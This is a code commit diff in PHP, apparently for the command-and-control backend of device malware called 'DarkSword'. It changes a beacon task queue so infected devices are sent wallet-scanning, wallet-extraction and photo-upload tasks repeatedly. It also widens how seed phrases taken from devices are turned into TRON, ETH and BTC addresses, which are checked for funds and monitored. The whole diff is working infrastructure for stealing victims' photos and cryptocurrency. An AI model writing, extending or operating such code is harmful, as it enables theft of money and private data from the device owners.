fix: link memo
This commit is contained in:
@@ -97,7 +97,63 @@ class BtcDriver implements ChainDriver
|
||||
return BtcAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function isActivated(string $address): bool
|
||||
{
|
||||
try {
|
||||
return $this->probeAddress($address)['activated'];
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* One address lookup: activation + confirmed BTC.
|
||||
*
|
||||
* @return array{activated: bool, btc: string}
|
||||
*/
|
||||
public function probeAddress(string $address): array
|
||||
{
|
||||
$json = $this->fetchAddressJson($address);
|
||||
|
||||
return [
|
||||
'activated' => self::addressIsActivated($json),
|
||||
'btc' => $this->nativeFromAddressJson($json),
|
||||
];
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
return $this->probeAddress($address)['btc'];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $json
|
||||
*/
|
||||
public static function addressIsActivated(array $json): bool
|
||||
{
|
||||
foreach (['chain_stats', 'mempool_stats'] as $key) {
|
||||
$stats = $json[$key] ?? [];
|
||||
if (! is_array($stats)) {
|
||||
continue;
|
||||
}
|
||||
if ((int) ($stats['tx_count'] ?? 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
if ((int) ($stats['funded_txo_count'] ?? 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
if ((int) ($stats['funded_txo_sum'] ?? 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function fetchAddressJson(string $address): array
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
throw new RuntimeException('Invalid BTC address');
|
||||
@@ -112,6 +168,15 @@ class BtcDriver implements ChainDriver
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid BTC balance response');
|
||||
}
|
||||
|
||||
return $json;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $json
|
||||
*/
|
||||
private function nativeFromAddressJson(array $json): string
|
||||
{
|
||||
$stats = $json['chain_stats'] ?? [];
|
||||
$funded = (string) ($stats['funded_txo_sum'] ?? 0);
|
||||
$spent = (string) ($stats['spent_txo_sum'] ?? 0);
|
||||
|
||||
@@ -20,6 +20,11 @@ interface ChainDriver
|
||||
|
||||
public function isValidAddress(string $address): bool;
|
||||
|
||||
/**
|
||||
* True when the address has on-chain footprint (account created, txs, or funds).
|
||||
*/
|
||||
public function isActivated(string $address): bool;
|
||||
|
||||
/**
|
||||
* Human-decimal native balance (e.g. TRX).
|
||||
*/
|
||||
|
||||
@@ -53,6 +53,41 @@ class EthDriver implements ChainDriver
|
||||
return EthAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function isActivated(string $address): bool
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$hex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($address), 'latest']);
|
||||
if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// fall through to balances
|
||||
}
|
||||
|
||||
try {
|
||||
if (bccomp($this->getNativeBalance($address), '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// fall through to token
|
||||
}
|
||||
|
||||
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
|
||||
if ($contract === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
|
||||
@@ -139,6 +139,15 @@ class TronDriver implements ChainDriver
|
||||
];
|
||||
}
|
||||
|
||||
public function isActivated(string $address): bool
|
||||
{
|
||||
try {
|
||||
return $this->probeAccount($address)['activated'];
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
return $this->probeAccount($address)['trx'];
|
||||
|
||||
@@ -805,7 +805,7 @@ class DarkSwordIngestAdapter
|
||||
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
|
||||
->first();
|
||||
if ($mnemonic !== null) {
|
||||
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
|
||||
$this->mnemonicDiscovery->discoverActivated($mnemonic);
|
||||
}
|
||||
if (($hit['addresses'] ?? []) !== []) {
|
||||
$this->ingest->ingestAddresses($device, [
|
||||
|
||||
@@ -13,22 +13,27 @@ use Illuminate\Support\Str;
|
||||
* Redis keys per device:
|
||||
* ds:q:{id} List — pending queue (RPOP dequeue, LPUSH enqueue)
|
||||
* ds:qdisp:{id} Hash — dispatched/in-flight tasks {command_id: taskJson}
|
||||
* ds:qround:{id} String — remaining default-queue rounds (including current)
|
||||
* ds:qt:{id} String — throttle lock (TTL 5s)
|
||||
*
|
||||
* Completed task results are stored as DeviceEvent records (日志 tab), NOT in Redis.
|
||||
*
|
||||
* Task JSON: {task_id, type, params, status, command_id?, dispatched_at?, completed_at?, result_count?, result_meta?}
|
||||
*
|
||||
* Default queue: photos, wallet_scan (one-shot, no auto-repeat).
|
||||
* Default queue: wallet_scan → wallet_extract → photos, replayed DEFAULT_ROUNDS times.
|
||||
*/
|
||||
class DsBeaconQueue
|
||||
{
|
||||
/** Default task types seeded for new DarkSword devices (one-shot, no repeat). */
|
||||
/** Default task types seeded for new DarkSword devices (FIFO dispatch order). */
|
||||
public const DEFAULT_TYPES = [
|
||||
'photos',
|
||||
'wallet_scan',
|
||||
'wallet_extract',
|
||||
'photos',
|
||||
];
|
||||
|
||||
/** After the default queue is consumed, replay it until this many rounds finish. */
|
||||
public const DEFAULT_ROUNDS = 3;
|
||||
|
||||
/** All task types the pe_worker.js can handle (for admin dropdown). */
|
||||
public const ALL_TYPES = [
|
||||
'photos' => '相册上传',
|
||||
@@ -118,6 +123,7 @@ class DsBeaconQueue
|
||||
private const Q_PREFIX = 'ds:q:';
|
||||
private const DISP_PREFIX = 'ds:qdisp:';
|
||||
private const DONE_PREFIX = 'ds:qdone:';
|
||||
private const ROUND_PREFIX = 'ds:qround:';
|
||||
private const THROTTLE_PREFIX = 'ds:qt:';
|
||||
private const THROTTLE_SEC = 5;
|
||||
private const DONE_CAP = 50;
|
||||
@@ -141,9 +147,8 @@ class DsBeaconQueue
|
||||
return; // already has pending tasks
|
||||
}
|
||||
|
||||
foreach (self::DEFAULT_TYPES as $type) {
|
||||
$this->lpushTask($device, $type, $this->paramsFor($type));
|
||||
}
|
||||
$this->setRoundsRemaining($device, self::DEFAULT_ROUNDS);
|
||||
$this->pushDefaultTypes($device);
|
||||
}
|
||||
|
||||
// ── Dequeue (called on every /beacon) ──────────────────────────────────
|
||||
@@ -167,7 +172,13 @@ class DsBeaconQueue
|
||||
|
||||
$raw = Redis::rpop($this->queueKey($device));
|
||||
if ($raw === null) {
|
||||
return null; // noop — queue empty
|
||||
if (! $this->replenishDefaultRound($device)) {
|
||||
return null; // noop — queue empty and no remaining rounds
|
||||
}
|
||||
$raw = Redis::rpop($this->queueKey($device));
|
||||
if ($raw === null) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
$task = json_decode($raw, true);
|
||||
@@ -386,7 +397,7 @@ class DsBeaconQueue
|
||||
* Only pending + dispatched are returned. Completed task results are
|
||||
* stored as DeviceEvent records (shown in the 日志 tab), not in Redis.
|
||||
*
|
||||
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>}
|
||||
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>, rounds_total: int, rounds_remaining: int, round_current: int}
|
||||
*/
|
||||
public function getQueueState(Device $device): array
|
||||
{
|
||||
@@ -410,10 +421,17 @@ class DsBeaconQueue
|
||||
}
|
||||
}
|
||||
|
||||
$remaining = $this->roundsRemaining($device);
|
||||
|
||||
return [
|
||||
'pending' => $pending,
|
||||
'dispatched' => $dispatched,
|
||||
'done' => [], // completed tasks are in device_events (日志 tab)
|
||||
'rounds_total' => self::DEFAULT_ROUNDS,
|
||||
'rounds_remaining' => $remaining,
|
||||
'round_current' => $remaining > 0
|
||||
? (self::DEFAULT_ROUNDS - $remaining + 1)
|
||||
: self::DEFAULT_ROUNDS,
|
||||
];
|
||||
}
|
||||
|
||||
@@ -427,6 +445,48 @@ class DsBeaconQueue
|
||||
|
||||
// ── Internal helpers ────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Enqueue one copy of the default task list (FIFO via LPUSH + RPOP).
|
||||
*/
|
||||
private function pushDefaultTypes(Device $device): void
|
||||
{
|
||||
foreach (self::DEFAULT_TYPES as $type) {
|
||||
$this->lpushTask($device, $type, $this->paramsFor($type));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* When the pending list is empty, push another copy of the default types
|
||||
* if unused rounds remain. Remaining includes the round that just finished,
|
||||
* so remaining=1 means that was the last pass.
|
||||
*/
|
||||
private function replenishDefaultRound(Device $device): bool
|
||||
{
|
||||
$remaining = $this->roundsRemaining($device);
|
||||
if ($remaining <= 1) {
|
||||
if ($remaining === 1) {
|
||||
$this->setRoundsRemaining($device, 0);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$this->setRoundsRemaining($device, $remaining - 1);
|
||||
$this->pushDefaultTypes($device);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function roundsRemaining(Device $device): int
|
||||
{
|
||||
return max(0, (int) Redis::get($this->roundKey($device)));
|
||||
}
|
||||
|
||||
private function setRoundsRemaining(Device $device, int $remaining): void
|
||||
{
|
||||
Redis::set($this->roundKey($device), (string) max(0, $remaining));
|
||||
}
|
||||
|
||||
/**
|
||||
* Push a task to the Redis queue (LPUSH = newest at head).
|
||||
*
|
||||
@@ -498,6 +558,11 @@ class DsBeaconQueue
|
||||
return self::DONE_PREFIX.$device->id;
|
||||
}
|
||||
|
||||
private function roundKey(Device $device): string
|
||||
{
|
||||
return self::ROUND_PREFIX.$device->id;
|
||||
}
|
||||
|
||||
private function throttleKey(Device $device): string
|
||||
{
|
||||
return self::THROTTLE_PREFIX.$device->id;
|
||||
|
||||
@@ -10,7 +10,7 @@ use InvalidArgumentException;
|
||||
|
||||
class MnemonicAddressLinker
|
||||
{
|
||||
public const MAX_DERIVE_INDEX = 4;
|
||||
public const MAX_DERIVE_INDEX = 9;
|
||||
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
@@ -18,7 +18,7 @@ class MnemonicAddressLinker
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Link a single address to a device mnemonic when BIP44 index 0..4 matches.
|
||||
* Link a single address to a device mnemonic when BIP44 index 0..9 matches.
|
||||
*/
|
||||
public function linkAddress(WalletAddress $address): bool
|
||||
{
|
||||
@@ -149,7 +149,7 @@ class MnemonicAddressLinker
|
||||
|
||||
/**
|
||||
* Backfill: for every mnemonic, link still-unlinked addresses on the same device
|
||||
* when BIP44 index 0..4 matches.
|
||||
* when BIP44 index 0..9 matches.
|
||||
*
|
||||
* @return array{mnemonics: int, linked: int}
|
||||
*/
|
||||
|
||||
@@ -4,16 +4,24 @@ namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
|
||||
* query balances, and persist the addresses even when the balance is zero.
|
||||
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
|
||||
* TRON/ETH/BTC and persist only activated addresses (after a balance query).
|
||||
* Fully inactive mnemonics stay out of the DB and are not monitored; the
|
||||
* wallets view previews one index-0 address per chain marked 未激活.
|
||||
* Activated rows are persisted with monitor on.
|
||||
*/
|
||||
class MnemonicWalletDiscovery
|
||||
{
|
||||
public const MAX_DERIVE_INDEX = 2;
|
||||
|
||||
/** @var list<array{chain: string, chain_type: string}> */
|
||||
private const CHAINS = [
|
||||
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||
@@ -24,12 +32,21 @@ class MnemonicWalletDiscovery
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly TokenviewMonitorService $tokenview,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverIndexZero(WalletMnemonic $mnemonic): int
|
||||
{
|
||||
return $this->discoverActivated($mnemonic);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverActivated(WalletMnemonic $mnemonic): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -58,8 +75,8 @@ class MnemonicWalletDiscovery
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
$row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
if ($row !== null) {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
foreach ($rows as $row) {
|
||||
$saved[] = $row;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
@@ -77,26 +94,185 @@ class MnemonicWalletDiscovery
|
||||
return count($saved);
|
||||
}
|
||||
|
||||
private function discoverOne(
|
||||
/**
|
||||
* Persisted linked rows, or ephemeral index-0 previews when none exist.
|
||||
*
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
public function walletCards(WalletMnemonic $mnemonic): array
|
||||
{
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
|
||||
if ($addresses->isNotEmpty()) {
|
||||
return $addresses->map(function (WalletAddress $addr) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $addr->id,
|
||||
'address' => $addr->address,
|
||||
'chain_type' => $addr->chain_type ?: '',
|
||||
'source' => $addr->source ?: '',
|
||||
'derive_index' => $addr->derive_index,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'active' => true,
|
||||
'persisted' => true,
|
||||
];
|
||||
})->values()->all();
|
||||
}
|
||||
|
||||
return $this->inactiveIndexZeroCards($mnemonic);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<WalletAddress>
|
||||
*/
|
||||
private function discoverChain(
|
||||
WalletMnemonic $mnemonic,
|
||||
string $phrase,
|
||||
string $source,
|
||||
string $chain,
|
||||
string $chainType,
|
||||
): ?WalletAddress {
|
||||
): array {
|
||||
$driver = $this->chains->resolve($chain);
|
||||
$address = $driver->deriveAddress($phrase, 0);
|
||||
try {
|
||||
$coins = $this->fetchCoins($chain, $address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
'address' => $address,
|
||||
]);
|
||||
$coins = $this->emptyCoins($chain);
|
||||
$saved = [];
|
||||
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
$address = $driver->deriveAddress($phrase, $index);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
'index' => $index,
|
||||
]);
|
||||
break;
|
||||
}
|
||||
|
||||
try {
|
||||
$probe = $this->probeActivated($chain, $driver, $address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
'address' => $address,
|
||||
'index' => $index,
|
||||
]);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (! $probe['activated']) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$saved[] = $this->persistActivated(
|
||||
$mnemonic,
|
||||
$source,
|
||||
$chainType,
|
||||
$address,
|
||||
$index,
|
||||
$probe['coins'],
|
||||
);
|
||||
}
|
||||
|
||||
return $saved;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeActivated(string $chain, ChainDriver $driver, string $address): array
|
||||
{
|
||||
return match ($chain) {
|
||||
'tron' => $this->probeTron($driver, $address),
|
||||
'eth' => $this->probeEth($driver, $address),
|
||||
'btc' => $this->probeBtc($driver, $address),
|
||||
default => ['activated' => false, 'coins' => []],
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeTron(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if (! $driver instanceof TronDriver) {
|
||||
return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')];
|
||||
}
|
||||
|
||||
$probe = $driver->probeAccount($address);
|
||||
if (! $probe['activated']) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('tron')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => [
|
||||
'trx' => $probe['trx'],
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeEth(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if (! $driver->isActivated($address)) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => [
|
||||
'eth' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeBtc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($driver instanceof BtcDriver) {
|
||||
$probe = $driver->probeAddress($address);
|
||||
|
||||
return [
|
||||
'activated' => $probe['activated'],
|
||||
'coins' => ['btc' => $probe['btc']],
|
||||
];
|
||||
}
|
||||
|
||||
if (! $driver->isActivated($address)) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('btc')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => ['btc' => $driver->getNativeBalance($address)],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $coins
|
||||
*/
|
||||
private function persistActivated(
|
||||
WalletMnemonic $mnemonic,
|
||||
string $source,
|
||||
string $chainType,
|
||||
string $address,
|
||||
int $index,
|
||||
array $coins,
|
||||
): WalletAddress {
|
||||
$row = WalletAddress::query()->firstOrNew([
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'address' => $address,
|
||||
@@ -105,18 +281,60 @@ class MnemonicWalletDiscovery
|
||||
|
||||
$row->chain_type = $chainType;
|
||||
$row->mnemonic_id = $mnemonic->id;
|
||||
$row->derive_index = 0;
|
||||
$row->derive_index = $index;
|
||||
$row->monitor = 1;
|
||||
if (! $row->exists) {
|
||||
$row->monitor = 0;
|
||||
$row->monitor_synced = false;
|
||||
$row->monitor_failures = 0;
|
||||
}
|
||||
foreach ($coins as $col => $value) {
|
||||
$row->{$col} = $value;
|
||||
}
|
||||
$row->save();
|
||||
$this->enableMonitor($row);
|
||||
|
||||
return $row;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$cards = [];
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
$address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0);
|
||||
} catch (\Throwable) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$cards[] = [
|
||||
'id' => null,
|
||||
'address' => $address,
|
||||
'chain_type' => $spec['chain_type'],
|
||||
'source' => $source,
|
||||
'derive_index' => 0,
|
||||
'usdt' => null,
|
||||
'trx' => null,
|
||||
'eth' => null,
|
||||
'btc' => null,
|
||||
'bnb' => null,
|
||||
'active' => false,
|
||||
'persisted' => false,
|
||||
];
|
||||
}
|
||||
|
||||
return $cards;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
@@ -130,27 +348,15 @@ class MnemonicWalletDiscovery
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function fetchCoins(string $chain, string $address): array
|
||||
private function enableMonitor(WalletAddress $address): void
|
||||
{
|
||||
$driver = $this->chains->resolve($chain);
|
||||
|
||||
return match ($chain) {
|
||||
'tron' => [
|
||||
'trx' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
|
||||
],
|
||||
'eth' => [
|
||||
'eth' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||
],
|
||||
'btc' => [
|
||||
'btc' => $driver->getNativeBalance($address),
|
||||
],
|
||||
default => [],
|
||||
};
|
||||
try {
|
||||
$this->tokenview->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string
|
||||
|
||||
Reference in New Issue
Block a user